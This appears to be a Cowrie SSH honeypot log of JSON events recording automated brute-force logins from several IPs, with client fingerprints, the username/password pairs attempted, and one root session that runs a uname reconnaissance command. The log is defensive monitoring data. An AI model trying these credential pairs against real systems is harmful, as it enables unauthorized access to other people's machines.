{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:15:51.720858Z","src_ip":"103.153.254.168","session":"cf8bb84f2a81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nb","password":"12345678","message":"login attempt [nb/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:15:52.773670Z","src_ip":"103.153.254.168","session":"cf8bb84f2a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:15:54.037162Z","src_ip":"103.153.254.168","session":"cf8bb84f2a81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":35026,"dst_ip":"159.203.135.109","dst_port":22,"session":"34b95eba933e","protocol":"ssh","message":"New connection: 142.93.139.168:35026 (159.203.135.109:22) [session: 34b95eba933e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:15:59.771625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:15:59.775508Z","src_ip":"142.93.139.168","session":"34b95eba933e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:15:59.855124Z","src_ip":"142.93.139.168","session":"34b95eba933e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"privatekeys","password":"privatekeys2018!","message":"login attempt [privatekeys/privatekeys2018!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:16:00.022971Z","src_ip":"142.93.139.168","session":"34b95eba933e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:16:01.106277Z","src_ip":"142.93.139.168","session":"34b95eba933e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":57234,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb41b2457302","protocol":"ssh","message":"New connection: 92.118.39.56:57234 (10.17.0.5:22) [session: fb41b2457302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:16:32.840737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:16:32.845775Z","src_ip":"92.118.39.56","session":"fb41b2457302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:16:32.955347Z","src_ip":"92.118.39.56","session":"fb41b2457302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:16:33.305781Z","src_ip":"92.118.39.56","session":"fb41b2457302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:16:34.450742Z","src_ip":"92.118.39.56","session":"fb41b2457302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.95.17.190","src_port":35078,"dst_ip":"159.203.135.109","dst_port":22,"session":"087bfbcee8b0","protocol":"ssh","message":"New connection: 47.95.17.190:35078 (159.203.135.109:22) [session: 087bfbcee8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:17:38.651757Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:17:38.656505Z","src_ip":"47.95.17.190","session":"087bfbcee8b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":54040,"dst_ip":"10.17.0.5","dst_port":22,"session":"144efb892c0f","protocol":"ssh","message":"New connection: 103.153.254.168:54040 (10.17.0.5:22) [session: 144efb892c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:17:54.466673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:17:54.474379Z","src_ip":"103.153.254.168","session":"144efb892c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:17:54.741584Z","src_ip":"103.153.254.168","session":"144efb892c0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ntps","password":"Ntps","message":"login attempt [ntps/Ntps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:17:55.832841Z","src_ip":"103.153.254.168","session":"144efb892c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:17:57.110484Z","src_ip":"103.153.254.168","session":"144efb892c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":40020,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7d93012c616","protocol":"ssh","message":"New connection: 92.118.39.56:40020 (10.17.0.5:22) [session: d7d93012c616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:18:43.806402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:18:43.811141Z","src_ip":"92.118.39.56","session":"d7d93012c616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:18:43.928370Z","src_ip":"92.118.39.56","session":"d7d93012c616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:18:44.247761Z","src_ip":"92.118.39.56","session":"d7d93012c616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:18:45.349599Z","src_ip":"92.118.39.56","session":"d7d93012c616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":53858,"dst_ip":"10.17.0.5","dst_port":22,"session":"1275d3ea9785","protocol":"ssh","message":"New connection: 162.120.6.20:53858 (10.17.0.5:22) [session: 1275d3ea9785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:19:48.125968Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:19:48.198720Z","src_ip":"162.120.6.20","session":"1275d3ea9785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":53866,"dst_ip":"10.17.0.5","dst_port":22,"session":"890359b80710","protocol":"ssh","message":"New connection: 162.120.6.20:53866 (10.17.0.5:22) [session: 890359b80710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:19:48.260816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:19:48.266096Z","src_ip":"162.120.6.20","session":"890359b80710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:19:48.334522Z","src_ip":"162.120.6.20","session":"890359b80710","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwer@1234","message":"login attempt [root/qwer@1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:19:48.540691Z","src_ip":"162.120.6.20","session":"890359b80710","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:19:48.708598Z","src_ip":"162.120.6.20","session":"890359b80710","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:19:48.711314Z","src_ip":"162.120.6.20","session":"890359b80710","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:19:48.782310Z","src_ip":"162.120.6.20","session":"890359b80710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:19:48.787801Z","src_ip":"162.120.6.20","session":"890359b80710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":33956,"dst_ip":"10.17.0.5","dst_port":22,"session":"1562ea36618f","protocol":"ssh","message":"New connection: 103.153.254.168:33956 (10.17.0.5:22) [session: 1562ea36618f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:19:59.592725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:19:59.601439Z","src_ip":"103.153.254.168","session":"1562ea36618f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:19:59.864907Z","src_ip":"103.153.254.168","session":"1562ea36618f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"timemachine","password":"password","message":"login attempt [timemachine/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:20:00.932693Z","src_ip":"103.153.254.168","session":"1562ea36618f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:20:02.212596Z","src_ip":"103.153.254.168","session":"1562ea36618f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":42100,"dst_ip":"10.17.0.5","dst_port":22,"session":"163980847436","protocol":"ssh","message":"New connection: 103.153.254.168:42100 (10.17.0.5:22) [session: 163980847436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:22:04.850712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:22:04.855335Z","src_ip":"103.153.254.168","session":"163980847436","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:22:05.115697Z","src_ip":"103.153.254.168","session":"163980847436","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"farhan","password":"Farhan123!","message":"login attempt [farhan/Farhan123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:22:06.175697Z","src_ip":"103.153.254.168","session":"163980847436","protocol":"ssh"}
